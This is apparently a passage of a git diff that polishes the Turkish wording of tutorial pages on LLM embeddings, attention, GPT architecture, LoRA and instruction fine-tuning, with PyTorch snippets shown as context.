**Sözlükteki önceki her token'e modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir noktaya sahip olacaktır.\ +> Bu üçüncü aşamanın amacı çok basit: **Sözlükteki önceki her bir token'e modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir noktaya sahip olacaktır.\ > Başlangıçta her kelimenin uzaydaki konumunun "rastgele" başlatıldığını ve bu konumların eğitilebilir parametreler olduğunu unutmayın (eğitim sırasında geliştirilecektir). > -> Ayrıca, token embedding sırasında **başka bir embedding katmanı oluşturulur** ki bu da (bu durumda) **kelimenin eğitim cümlesindeki mutlak konumunu temsil eder**. Bu şekilde, cümledeki farklı konumlarda bir kelimenin farklı bir temsili (anlamı) olacaktır. +> Ayrıca, token embedding sırasında **başka bir embedding katmanı oluşturulur** ki bu, (bu durumda) **kelimenin eğitim cümlesindeki mutlak konumunu** temsil eder. Bu şekilde, cümledeki farklı konumlarda bir kelime farklı bir temsil (anlam) alacaktır. ### **Token Embedding Nedir?** @@ -82,7 +82,7 @@ Eğitim sırasında, giriş verilerindeki her token, karşılık gelen gömme ve **Veri Yapısı:** -- Her batch, `(batch_size, max_length, embedding_dim)` şekline sahip 3D bir tensör olarak temsil edilir. +- Her batch, `(batch_size, max_length, embedding_dim)` şeklinde 3D bir tensör olarak temsil edilir. - Örneğimiz için şekil `(8, 4, 256)` olacaktır. **Görselleştirme:** @@ -121,14 +121,14 @@ cssCopy codeBatch - Sıra içindeki her token, 256 boyutlu bir vektörle temsil edilir. - Model, bu gömme vektörlerini işleyerek dil kalıplarını öğrenir ve tahminler üretir. -## **Pozisyonel Gömme: Token Gömme'ye Bağlam Eklemek** +## **Pozisyonel Gömme: Token Gömme İçin Bağlam Eklemek** -Token gömmeleri bireysel token'ların anlamını yakalarken, bir dizideki token'ların konumunu doğrudan kodlamaz. Token'ların sırasını anlamak, dil anlayışı için kritik öneme sahiptir. İşte bu noktada **pozisyonel gömmeler** devreye girer. +Token gömmeleri bireysel tokenların anlamını yakalarken, bir dizideki tokenların konumunu doğrudan kodlamaz. Tokenların sırasını anlamak, dil anlayışı için kritik öneme sahiptir. İşte bu noktada **pozisyonel gömmeler** devreye girer. ### **Pozisyonel Gömme Neden Gereklidir:** -- **Token Sırası Önemlidir:** Cümlelerde, anlam genellikle kelimelerin sırasına bağlıdır. Örneğin, "Kedi mindere oturdu" ile "Minder kedinin üstünde oturdu." -- **Gömme Sınırlaması:** Pozisyonel bilgi olmadan, model token'ları "kelime torbası" olarak ele alır ve sıralarını göz ardı eder. +- **Token Sırası Önemlidir:** Cümlelerde, anlam genellikle kelimelerin sırasına bağlıdır. Örneğin, "Kedi minderde oturdu" ile "Minder kedinin üstünde oturdu." +- **Gömme Sınırlaması:** Pozisyonel bilgi olmadan, model tokenları "kelime torbası" olarak ele alır ve sıralarını göz ardı eder. ### **Pozisyonel Gömme Türleri:** @@ -137,14 +137,14 @@ Token gömmeleri bireysel token'ların anlamını yakalarken, bir dizideki token - **Örnek:** Herhangi bir dizideki ilk token aynı pozisyonel gömme vektörüne sahiptir, ikinci token başka birine ve devam eder. - **Kullananlar:** OpenAI’nin GPT modelleri. 2. **Göreli Pozisyonel Gömme:** -- Token'lar arasındaki göreli mesafeyi kodlar, mutlak pozisyonlarını değil. -- **Örnek:** İki token'ın ne kadar uzakta olduğunu belirtir, dizideki mutlak pozisyonlarına bakılmaksızın. +- Tokenlar arasındaki göreli mesafeyi, mutlak pozisyonları yerine kodlar. +- **Örnek:** İki tokenın ne kadar uzakta olduğunu, dizideki mutlak pozisyonlarına bakılmaksızın belirtir. - **Kullananlar:** Transformer-XL gibi modeller ve bazı BERT varyantları. ### **Pozisyonel Gömme Nasıl Entegre Edilir:** - **Aynı Boyutlar:** Pozisyonel gömmeler, token gömmeleriyle aynı boyutluluğa sahiptir. -- **Toplama:** Token gömmelerine eklenir, token kimliğini pozisyonel bilgiyle birleştirir ve genel boyutluluğu artırmaz. +- **Toplama:** Token kimliğini pozisyonel bilgiyle birleştirerek, genel boyutluluğu artırmadan token gömmelerine eklenir. **Pozisyonel Gömme Ekleme Örneği:** diff --git a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md index cba8b2fff..b40851973 100644 --- a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md +++ b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md @@ -60,9 +60,9 @@ Cümledeki her kelime için, **shiny** ile ilgili dikkat puanını, gömmelerini > [!TIP] > Matematiksel terimlerde kaybolmayın, bu fonksiyonun amacı basit, tüm ağırlıkları normalleştirin ki **toplamları 1 olsun**. > -> Ayrıca, **softmax** fonksiyonu kullanılır çünkü üstel kısım nedeniyle farklılıkları vurgular, yararlı değerleri tespit etmeyi kolaylaştırır. +> Ayrıca, **softmax** fonksiyonu kullanılır çünkü bu, üstel kısım nedeniyle farklılıkları vurgular ve faydalı değerleri tespit etmeyi kolaylaştırır. -Dikkat puanlarına **softmax fonksiyonunu** uygulayarak, toplamı 1 olan dikkat ağırlıklarına dönüştürün. +Dikkat puanlarına **softmax fonksiyonu** uygulayarak, toplamı 1 olan dikkat ağırlıklarına dönüştürün.
@@ -110,7 +110,7 @@ Ağırlıklı gömmeleri toplama: ### Sürecin Özeti 1. **Dikkat Puanlarını Hesapla**: Hedef kelimenin gömmesi ile dizideki tüm kelimelerin gömmeleri arasındaki noktasal çarpımı kullanın. -2. **Dikkat Ağırlıklarını Elde Etmek için Puanları Normalleştir**: Dikkat puanlarına softmax fonksiyonunu uygulayarak toplamı 1 olan ağırlıklar elde edin. +2. **Ağırlıkları Elde Etmek için Puanları Normalleştir**: Dikkat puanlarına softmax fonksiyonunu uygulayarak toplamı 1 olan ağırlıklar elde edin. 3. **Bağlam Vektörünü Hesapla**: Her kelimenin gömmesini dikkat ağırlığı ile çarpın ve sonuçları toplayın. ## Eğitilebilir Ağırlıklarla Kendine Dikkat @@ -123,7 +123,7 @@ Sorgu, daha önce olduğu gibi kullanılacak veridir, anahtarlar ve değerler ma #### Adım 1: Sorguları, Anahtarları ve Değerleri Hesapla -Her token, tanımlanan matrislerle boyut değerlerini çarparak kendi sorgu, anahtar ve değer matrisine sahip olacaktır: +Her token, tanımlı matrislerle boyut değerlerini çarparak kendi sorgu, anahtar ve değer matrisine sahip olacaktır:
@@ -131,7 +131,7 @@ Bu matrisler, orijinal gömmeleri dikkat hesaplamak için uygun yeni bir alana d **Örnek** -Varsayalım: +Varsayalım ki: - Giriş boyutu `din=3` (gömme boyutu) - Çıkış boyutu `dout=2` (sorgular, anahtarlar ve değerler için istenen boyut) @@ -163,12 +163,12 @@ values = torch.matmul(inputs, W_value) **Puanları Ölçekle** -Nokta çarpımlarının çok büyük hale gelmesini önlemek için, bunları anahtar boyutunun karekökü `dk`​ ile ölçeklendir: +Nokta çarpımlarının çok büyük olmasını önlemek için, bunları anahtar boyutunun karekökü `dk`​ ile ölçeklendir:
> [!TIP] -> Puan, boyutların kareköküne bölünür çünkü nokta çarpımları çok büyük hale gelebilir ve bu, onları düzenlemeye yardımcı olur. +> Puan, boyutların karekökü ile bölünür çünkü nokta çarpımları çok büyük hale gelebilir ve bu, onları düzenlemeye yardımcı olur. **Dikkat Ağırlıklarını Elde Etmek İçin Softmax Uygula:** İlk örnekte olduğu gibi, tüm değerleri normalize et, böylece toplamları 1 olur. @@ -250,7 +250,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1) ### Dropout ile Ek Dikkat Ağırlıklarını Maskeleme -**Aşırı uyum sağlamayı önlemek** için, softmax işleminden sonra dikkat ağırlıklarına **dropout** uygulayabiliriz. Dropout, eğitim sırasında **dikkat ağırlıklarının bazılarını rastgele sıfırlar**. +**Aşırı uyum sağlamayı önlemek** için, softmax işleminden sonra dikkat ağırlıklarına **dropout** uygulayabiliriz. Dropout, eğitim sırasında **dikkat ağırlıklarının bazılarının rastgele sıfırlanmasını** sağlar. ```python dropout = nn.Dropout(p=0.5) attention_weights = dropout(attention_weights) @@ -323,11 +323,11 @@ print("context_vecs.shape:", context_vecs.shape) ``` ## Tek Başlı Dikkati Çok Başlı Dikkate Genişletme -**Çok başlı dikkat**, pratikte **kendi ağırlıklarıyla** her biri için **birden fazla örnek** self-attention fonksiyonunu çalıştırmaktan oluşur, böylece farklı son vektörler hesaplanır. +**Çok başlı dikkat**, pratikte **kendi ağırlıkları** olan **birden fazla örneğin** kendine dikkat fonksiyonunu çalıştırmasından oluşur, böylece farklı son vektörler hesaplanır. ### Kod Örneği -Önceki kodu yeniden kullanmak ve sadece birkaç kez çalıştıran bir sarmalayıcı eklemek mümkün olabilir, ancak bu, tüm başları aynı anda işleyen [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) için daha optimize edilmiş bir versiyondur (pahalı for döngülerinin sayısını azaltır). Kodda görebileceğiniz gibi, her bir token'ın boyutları baş sayısına göre farklı boyutlara bölünmüştür. Bu şekilde, eğer token 8 boyuta sahipse ve 3 baş kullanmak istiyorsak, boyutlar 4 boyuttan oluşan 2 diziye bölünecek ve her baş bunlardan birini kullanacaktır: +Önceki kodu yeniden kullanmak ve sadece birkaç kez çalıştıran bir sarmalayıcı eklemek mümkün olabilir, ancak bu, tüm başları aynı anda işleyen [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) adresinden daha optimize edilmiş bir versiyondur (pahalı for döngülerinin sayısını azaltır). Kodda görebileceğiniz gibi, her bir token'ın boyutları baş sayısına göre farklı boyutlara bölünmüştür. Bu şekilde, eğer token 8 boyuta sahipse ve 3 baş kullanmak istiyorsak, boyutlar 4 boyuttan oluşan 2 diziye bölünecek ve her baş bunlardan birini kullanacaktır: ```python class MultiHeadAttention(nn.Module): def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): diff --git a/src/todo/llm-training-data-preparation/5.-llm-architecture.md b/src/todo/llm-training-data-preparation/5.-llm-architecture.md index a5a2b1367..59227a3b7 100644 --- a/src/todo/llm-training-data-preparation/5.-llm-architecture.md +++ b/src/todo/llm-training-data-preparation/5.-llm-architecture.md @@ -14,13 +14,13 @@ Yüksek seviyeli bir temsil aşağıda gözlemlenebilir:

https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31

1. **Girdi (Tokenize Edilmiş Metin)**: Süreç, sayısal temsillere dönüştürülen tokenize edilmiş metinle başlar. -2. **Token Gömme ve Pozisyon Gömme Katmanı**: Tokenize edilmiş metin, bir **token gömme** katmanından ve bir **pozisyon gömme katmanından** geçirilir; bu, kelime sırasını anlamak için kritik olan bir dizideki token'ların konumunu yakalar. +2. **Token Gömme ve Pozisyon Gömme Katmanı**: Tokenize edilmiş metin, bir **token gömme** katmanı ve bir **pozisyon gömme katmanı** aracılığıyla geçirilir; bu, kelime sırasını anlamak için kritik olan bir dizideki token'ların konumunu yakalar. 3. **Transformer Blokları**: Model, her biri birden fazla katmana sahip **12 transformer bloğu** içerir. Bu bloklar aşağıdaki diziyi tekrarlar: - **Masked Multi-Head Attention**: Modelin girdi metninin farklı kısımlarına aynı anda odaklanmasına olanak tanır. - **Katman Normalizasyonu**: Eğitimi stabilize etmek ve geliştirmek için bir normalizasyon adımı. - **İleri Besleme Katmanı**: Dikkat katmanından gelen bilgileri işlemek ve bir sonraki token hakkında tahminlerde bulunmakla sorumludur. - **Dropout Katmanları**: Bu katmanlar, eğitim sırasında birimlerin rastgele düşürülmesiyle aşırı uyumu önler. -4. **Son Çıktı Katmanı**: Model, **50,257** kelime dağarcığı boyutunu temsil eden **4x50,257 boyutunda bir tensör** üretir. Bu tensördeki her bir satır, modelin dizideki bir sonraki kelimeyi tahmin etmek için kullandığı bir vektöre karşılık gelir. +4. **Son Çıktı Katmanı**: Model, **50,257 boyutlu 4x50,257**'lik bir tensör çıktısı verir; burada **50,257** kelime dağarcığının boyutunu temsil eder. Bu tensördeki her bir satır, modelin dizideki bir sonraki kelimeyi tahmin etmek için kullandığı bir vektöre karşılık gelir. 5. **Amaç**: Amaç, bu gömmeleri alıp tekrar metne dönüştürmektir. Özellikle, çıktının son satırı, bu diyagramda "ileri" olarak temsil edilen bir sonraki kelimeyi oluşturmak için kullanılır. ### Kod temsili @@ -210,18 +210,18 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) * ``` #### **Amaç ve İşlevsellik** -- **GELU (Gaussian Error Linear Unit):** Modelle doğrusal olmayanlık getiren bir aktivasyon fonksiyonu. -- **Düzgün Aktivasyon:** Negatif girdileri sıfıra indiren ReLU'nun aksine, GELU girdileri çıktılara düzgün bir şekilde eşler ve negatif girdiler için küçük, sıfırdan farklı değerler sağlar. +- **GELU (Gaussian Error Linear Unit):** Modele doğrusal olmayanlık katan bir aktivasyon fonksiyonu. +- **Düzgün Aktivasyon:** Negatif girdileri sıfıra indiren ReLU'nun aksine, GELU girdileri düzgün bir şekilde çıktılara haritalar, negatif girdiler için küçük, sıfırdan farklı değerler almasına izin verir. - **Matematiksel Tanım:**
> [!NOTE] -> FeedForward katmanındaki doğrusal katmanlardan sonra bu fonksiyonun kullanılmasının amacı, doğrusal verileri doğrusal olmayan hale getirerek modelin karmaşık, doğrusal olmayan ilişkileri öğrenmesine izin vermektir. +> FeedForward katmanındaki doğrusal katmanlardan sonra bu fonksiyonun kullanılmasının amacı, modelin karmaşık, doğrusal olmayan ilişkileri öğrenebilmesi için doğrusal verileri doğrusal olmayan hale getirmektir. ### **FeedForward Sinir Ağı** -_Matrislerin şekillerini daha iyi anlamak için yorum olarak şekiller eklenmiştir:_ +_Şekillerin matrislerin şekillerini daha iyi anlamak için yorum olarak eklendi:_ ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 class FeedForward(nn.Module): @@ -243,14 +243,14 @@ return x # Output shape: (batch_size, seq_len, emb_dim) ``` #### **Amaç ve İşlevsellik** -- **Pozisyon Bazlı FeedForward Ağı:** Her pozisyona ayrı ve benzer şekilde iki katmanlı tam bağlantılı bir ağ uygular. +- **Pozisyon Bazlı FeedForward Ağı:** Her pozisyona ayrı ve benzer şekilde iki katmanlı tam bağlı bir ağ uygular. - **Katman Detayları:** - **İlk Lineer Katman:** Boyutları `emb_dim`'den `4 * emb_dim`'ye genişletir. - **GELU Aktivasyonu:** Doğrusal olmayanlık uygular. - **İkinci Lineer Katman:** Boyutları tekrar `emb_dim`'ye düşürür. > [!NOTE] -> Gördüğünüz gibi, Feed Forward ağı 3 katman kullanır. İlk katman, boyutları 4 ile çarpacak lineer bir katmandır (model içinde eğitilecek parametreler). Ardından, daha zengin temsilleri yakalamak için tüm bu boyutlarda doğrusal olmayan varyasyonlar uygulamak üzere GELU fonksiyonu kullanılır ve nihayetinde orijinal boyutlara geri dönmek için başka bir lineer katman kullanılır. +> Gördüğünüz gibi, Feed Forward ağı 3 katman kullanır. İlk katman, boyutları 4 ile çarpacak lineer bir katmandır ve bu, model içinde eğitilecek lineer ağırlıkları (parametreleri) kullanır. Ardından, daha zengin temsilleri yakalamak için tüm bu boyutlarda doğrusal olmayan varyasyonlar uygulamak üzere GELU fonksiyonu kullanılır ve nihayetinde orijinal boyutlara geri dönmek için başka bir lineer katman kullanılır. ### **Çoklu Başlı Dikkat Mekanizması** @@ -258,18 +258,18 @@ Bu daha önceki bir bölümde açıklandı. #### **Amaç ve İşlevsellik** -- **Çoklu Başlı Kendine Dikkat:** Modelin bir token'ı kodlarken girdi dizisi içindeki farklı pozisyonlara odaklanmasını sağlar. +- **Çoklu Başlı Kendine Dikkat:** Modelin bir token'ı kodlarken girdi dizisi içindeki farklı pozisyonlara odaklanmasına olanak tanır. - **Ana Bileşenler:** -- **Sorgular, Anahtarlar, Değerler:** Dikkat puanlarını hesaplamak için kullanılan girdi lineer projeksiyonları. +- **Sorgular, Anahtarlar, Değerler:** Girdinin lineer projeksiyonları, dikkat puanlarını hesaplamak için kullanılır. - **Başlar:** Paralel çalışan birden fazla dikkat mekanizması (`num_heads`), her biri azaltılmış bir boyutla (`head_dim`). -- **Dikkat Puanları:** Sorgular ve anahtarların noktasal çarpımı olarak hesaplanır, ölçeklenir ve maske uygulanır. +- **Dikkat Puanları:** Sorgular ve anahtarların nokta çarpımı olarak hesaplanır, ölçeklendirilir ve maske uygulanır. - **Maskeleme:** Gelecek token'lara dikkat edilmesini önlemek için nedensel bir maske uygulanır (GPT gibi otoregresif modeller için önemlidir). -- **Dikkat Ağırlıkları:** Maskelenmiş ve ölçeklenmiş dikkat puanlarının softmax'ı. +- **Dikkat Ağırlıkları:** Maskelenmiş ve ölçeklendirilmiş dikkat puanlarının softmax'ı. - **Bağlam Vektörü:** Dikkat ağırlıklarına göre değerlerin ağırlıklı toplamı. - **Çıktı Projeksiyonu:** Tüm başların çıktısını birleştirmek için lineer katman. > [!NOTE] -> Bu ağın amacı, aynı bağlamdaki token'lar arasındaki ilişkileri bulmaktır. Ayrıca, aşırı uyum sağlamayı önlemek için token'lar farklı başlara bölünmüştür, ancak her başta bulunan nihai ilişkiler bu ağın sonunda birleştirilir. +> Bu ağın amacı, aynı bağlamdaki token'lar arasındaki ilişkileri bulmaktır. Ayrıca, aşırı uyumu önlemek için token'lar farklı başlara bölünmüştür, ancak her başta bulunan nihai ilişkiler bu ağın sonunda birleştirilir. > > Ayrıca, eğitim sırasında **nedensel bir maske** uygulanır, böylece belirli bir token'a bakarken sonraki token'lar dikkate alınmaz ve **aşırı uyumu önlemek** için bazı **dropout** uygulanır. @@ -291,18 +291,18 @@ return self.scale * norm_x + self.shift ``` #### **Amaç ve İşlevsellik** -- **Katman Normalizasyonu:** Bir partideki her bireysel örnek için özellikler (gömme boyutları) boyunca girdileri normalleştirmek için kullanılan bir teknik. +- **Katman Normalizasyonu:** Bir partideki her bireysel örnek için özellikler (gömme boyutları) boyunca girişleri normalleştirmek için kullanılan bir teknik. - **Bileşenler:** - **`eps`:** Normalizasyon sırasında sıfıra bölmeyi önlemek için varyansa eklenen küçük bir sabit (`1e-5`). -- **`scale` ve `shift`:** Normalleştirilmiş çıktıyı ölçeklendirmek ve kaydırmak için modelin kullanabileceği öğrenilebilir parametreler (`nn.Parameter`). Sırasıyla birler ve sıfırlar ile başlatılır. +- **`scale` ve `shift`:** Normalleştirilmiş çıktıyı ölçeklendirmek ve kaydırmak için modelin kullanabileceği öğrenilebilir parametreler (`nn.Parameter`). Sırasıyla birler ve sıfırlar ile başlatılırlar. - **Normalizasyon Süreci:** - **Ortalama Hesaplama (`mean`):** Gömme boyutu boyunca giriş `x`'in ortalamasını hesaplar (`dim=-1`), yayılma için boyutu korur (`keepdim=True`). - **Varyans Hesaplama (`var`):** Gömme boyutu boyunca `x`'in varyansını hesaplar, boyutu da korur. `unbiased=False` parametresi, varyansın yanlı tahminci kullanılarak hesaplanmasını sağlar (örneğin `N` yerine `N-1` ile bölme), bu da örnekler yerine özellikler üzerinde normalleştirme yaparken uygundur. - **Normalleştirme (`norm_x`):** `x`'ten ortalamayı çıkarır ve varyansın karekökü artı `eps` ile böler. -- **Ölçekleme ve Kaydırma:** Normalleştirilmiş çıktıya öğrenilebilir `scale` ve `shift` parametrelerini uygular. +- **Ölçek ve Kaydır:** Normalleştirilmiş çıktıya öğrenilebilir `scale` ve `shift` parametrelerini uygular. > [!NOTE] -> Amaç, aynı token'ın tüm boyutları boyunca 0 ortalama ve 1 varyans sağlamaktır. Bunun amacı, **derin sinir ağlarının eğitimini stabilize etmek** için iç değişken kaymasını azaltmaktır; bu, eğitim sırasında parametrelerin güncellenmesi nedeniyle ağ aktivasyonlarının dağılımındaki değişikliği ifade eder. +> Amaç, aynı token'ın tüm boyutları boyunca 0 ortalama ve 1 varyans sağlamaktır. Bunun amacı, **derin sinir ağlarının eğitimini stabilize etmek** için iç değişken kaymasını azaltmaktır; bu, eğitim sırasında parametrelerin güncellenmesi nedeniyle ağ aktivasyonlarının dağılımındaki değişimi ifade eder. ### **Transformer Bloğu** @@ -360,13 +360,13 @@ return x # Output shape: (batch_size, seq_len, emb_dim) - **Katman Normu (`norm1`):** Girişi normalleştir. - **Çok Başlı Dikkat (`att`):** Kendi dikkati uygula. - **Dropout (`drop_shortcut`):** Düzenleme için dropout uygula. -- **Artımlı Ekleme (`x + shortcut`):** Orijinal girişle birleştir. +- **Artımlı Ekle (`x + shortcut`):** Orijinal girişle birleştir. 2. **İkinci Artımlı Yol (İleri Besleme):** - **Giriş (`shortcut`):** Bir sonraki artımlı bağlantı için güncellenmiş girişi kaydedin. - **Katman Normu (`norm2`):** Girişi normalleştir. - **İleri Besleme Ağı (`ff`):** İleri besleme dönüşümünü uygula. - **Dropout (`drop_shortcut`):** Dropout uygula. -- **Artımlı Ekleme (`x + shortcut`):** İlk artımlı yoldan gelen girişle birleştir. +- **Artımlı Ekle (`x + shortcut`):** İlk artımlı yoldan gelen girişle birleştir. > [!NOTE] > Transformer bloğu tüm ağları bir araya getirir ve eğitim istikrarını ve sonuçlarını iyileştirmek için bazı **normalizasyon** ve **dropout** uygular.\ @@ -439,14 +439,14 @@ return logits # Output shape: (batch_size, seq_len, vocab_size) - **Dropout (`drop_emb`):** Gömülere düzenleme uygulamak için kullanılır. - **Transformer Blokları (`trf_blocks`):** Gömüleri işlemek için `n_layers` transformer bloğunun yığını. - **Son Normalizasyon (`final_norm`):** Çıktı katmanından önce katman normalizasyonu. -- **Çıktı Katmanı (`out_head`):** Son gizli durumları kelime dağarcığı boyutuna projekte ederek tahmin için logitler üretir. +- **Çıktı Katmanı (`out_head`):** Son gizli durumları kelime dağarcığı boyutuna projekte ederek tahmin için logitleri üretir. > [!NOTE] > Bu sınıfın amacı, **bir dizideki bir sonraki token'ı tahmin etmek** için diğer bahsedilen tüm ağları kullanmaktır; bu, metin üretimi gibi görevler için temeldir. > > **Belirtilen kadar transformer bloğu kullanacağını** ve her transformer bloğunun bir çok başlı dikkat ağı, bir ileri besleme ağı ve birkaç normalizasyon kullandığını not edin. Yani 12 transformer bloğu kullanılıyorsa, bunu 12 ile çarpın. > -> Ayrıca, **çıktıdan önce** bir **normalizasyon** katmanı eklenir ve sonuçları uygun boyutlarla almak için sonunda bir son doğrusal katman uygulanır. Her son vektörün kullanılan kelime dağarcığının boyutuna sahip olduğunu not edin. Bu, kelime dağarcığındaki her olası token için bir olasılık elde etmeye çalıştığı içindir. +> Ayrıca, **çıktıdan önce** bir **normalizasyon** katmanı eklenir ve sonuçları uygun boyutlarla elde etmek için sonunda bir son lineer katman uygulanır. Her son vektörün kullanılan kelime dağarcığının boyutuna sahip olduğunu not edin. Bu, kelime dağarcığındaki her olası token için bir olasılık elde etmeye çalıştığı içindir. ## Eğitilecek Parametre Sayısı @@ -557,7 +557,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432 **c. Katman Normalizasyonları** - **Bileşenler:** -- Her blokta iki `LayerNorm` örneği. +- Her blok için iki `LayerNorm` örneği. - Her `LayerNorm`'un `2 * emb_dim` parametresi vardır (ölçek ve kaydırma). - **Hesaplamalar:** @@ -610,7 +610,7 @@ total_params = 163,009,536 Bir önceki gibi bir sonraki token'ı tahmin eden bir modele sahip olmak, çıktının son token değerlerini almak için gereklidir (çünkü bunlar tahmin edilen token'ın değerleri olacaktır), bu da **sözlükteki her bir giriş için bir değer** olacak ve ardından `softmax` fonksiyonunu kullanarak boyutları 1'e toplam olan olasılıklara normalize etmek ve ardından en büyük girişin indeksini almak, bu da sözlükteki kelimenin indeksi olacaktır. -[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb) kodu: +[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb) adresinden kod: ```python def generate_text_simple(model, idx, max_new_tokens, context_size): # idx is (batch, n_tokens) array of indices in the current context diff --git a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md index 2ffc9fbaf..813667ae4 100644 --- a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md @@ -3,18 +3,18 @@ ## LoRA İyileştirmeleri > [!TIP] -> **LoRA'nın kullanımı,** zaten eğitilmiş modelleri **ince ayar** yapmak için gereken hesaplamayı büyük ölçüde azaltır. +> **LoRA'nın kullanımı,** zaten eğitilmiş modelleri **ince ayar yapmak için gereken hesaplamayı** büyük ölçüde azaltır. LoRA, **büyük modelleri** yalnızca modelin **küçük bir kısmını** değiştirerek verimli bir şekilde ince ayar yapmayı mümkün kılar. Eğitmeniz gereken parametre sayısını azaltarak **hafıza** ve **hesaplama kaynakları** tasarrufu sağlar. Bunun nedeni: -1. **Eğitilebilir Parametre Sayısını Azaltır**: Modeldeki tüm ağırlık matrisini güncellemek yerine, LoRA ağırlık matrisini iki daha küçük matrise ( **A** ve **B** olarak adlandırılır) **bölerek** işlem yapar. Bu, eğitimi **daha hızlı** hale getirir ve daha az hafıza gerektirir çünkü daha az parametre güncellenmesi gerekir. +1. **Eğitilebilir Parametre Sayısını Azaltır**: Modeldeki tüm ağırlık matrisini güncellemek yerine, LoRA **ağırlık matrisini** iki daha küçük matrise ( **A** ve **B** olarak adlandırılır) böler. Bu, eğitimi **daha hızlı** hale getirir ve daha az parametre güncellenmesi gerektiği için **daha az hafıza** gerektirir. 1. Bunun nedeni, bir katmanın (matrisin) tam ağırlık güncellemesini hesaplamak yerine, bunu 2 daha küçük matrisin çarpımı olarak yaklaşık olarak hesaplamasıdır ve güncellemeyi hesaplamayı azaltır:\
-2. **Orijinal Model Ağırlıklarını Değiştirmeden Tutma**: LoRA, orijinal model ağırlıklarını aynı tutmanıza ve yalnızca **yeni küçük matrisleri** (A ve B) güncellemenize olanak tanır. Bu, modelin orijinal bilgisinin korunması anlamına geldiği için faydalıdır ve yalnızca gerekli olanı ayarlarsınız. -3. **Verimli Görev Spesifik İnce Ayar**: Modeli **yeni bir göreve** uyarlamak istediğinizde, modelin geri kalanını olduğu gibi bırakırken yalnızca **küçük LoRA matrislerini** (A ve B) eğitebilirsiniz. Bu, tüm modeli yeniden eğitmekten **çok daha verimlidir**. +2. **Orijinal Model Ağırlıklarını Değiştirmeden Tutar**: LoRA, orijinal model ağırlıklarını aynı tutmanıza ve yalnızca **yeni küçük matrisleri** (A ve B) güncellemenize olanak tanır. Bu, modelin orijinal bilgisinin korunması anlamına geldiği için faydalıdır ve yalnızca gerekli olanı ayarlarsınız. +3. **Verimli Görev-Özel İnce Ayar**: Modeli **yeni bir göreve** uyarlamak istediğinizde, modelin geri kalanını olduğu gibi bırakırken yalnızca **küçük LoRA matrislerini** (A ve B) eğitebilirsiniz. Bu, tüm modeli yeniden eğitmekten **çok daha verimlidir**. 4. **Depolama Verimliliği**: İnce ayar yaptıktan sonra, her görev için **tamamen yeni bir modeli** kaydetmek yerine, yalnızca **LoRA matrislerini** saklamanız gerekir; bu matrisler, tüm modele kıyasla çok küçüktür. Bu, modeli çok fazla depolama alanı kullanmadan birçok göreve uyarlamayı kolaylaştırır. LoRA katmanlarını ince ayar sırasında Lineer olanlar yerine uygulamak için, burada önerilen kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb): diff --git a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md index 1b748067a..8c193f54b 100644 --- a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md @@ -1,7 +1,7 @@ # 7.2. Talimatları Takip Etmek İçin İnce Ayar > [!TIP] -> Bu bölümün amacı, **metin üretmek yerine talimatları takip etmek için önceden eğitilmiş bir modeli ince ayar yapmayı** göstermektir; örneğin, bir sohbet botu olarak görevlere yanıt vermek. +> Bu bölümün amacı, **metin üretmekten ziyade talimatları takip etmek için önceden eğitilmiş bir modeli ince ayar yapmayı** göstermektir; örneğin, bir sohbet botu olarak görevlere yanıt vermek. ## Veri Seti @@ -29,7 +29,7 @@ Absolutely! Gravity is a force that pulls objects toward each other. ``` Bu tür veri setleriyle bir LLM'yi eğitmek, LLM'nin aldığı sorulara belirli yanıtlar vermesi gerektiğini anlamasına yardımcı olur. -Bu nedenle, istekler ve yanıtlar içeren bir veri setiyle yapılacak ilk şeylerden biri, bu veriyi istenen istem formatında modellemektir, örneğin: +Bu nedenle, istekler ve yanıtlar içeren bir veri seti ile yapılacak ilk şeylerden biri, bu veriyi istenen istem formatında modellemektir, örneğin: ```python # Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb def format_input(entry): @@ -57,44 +57,44 @@ Sonra, eğitim için tüm girdileri ve 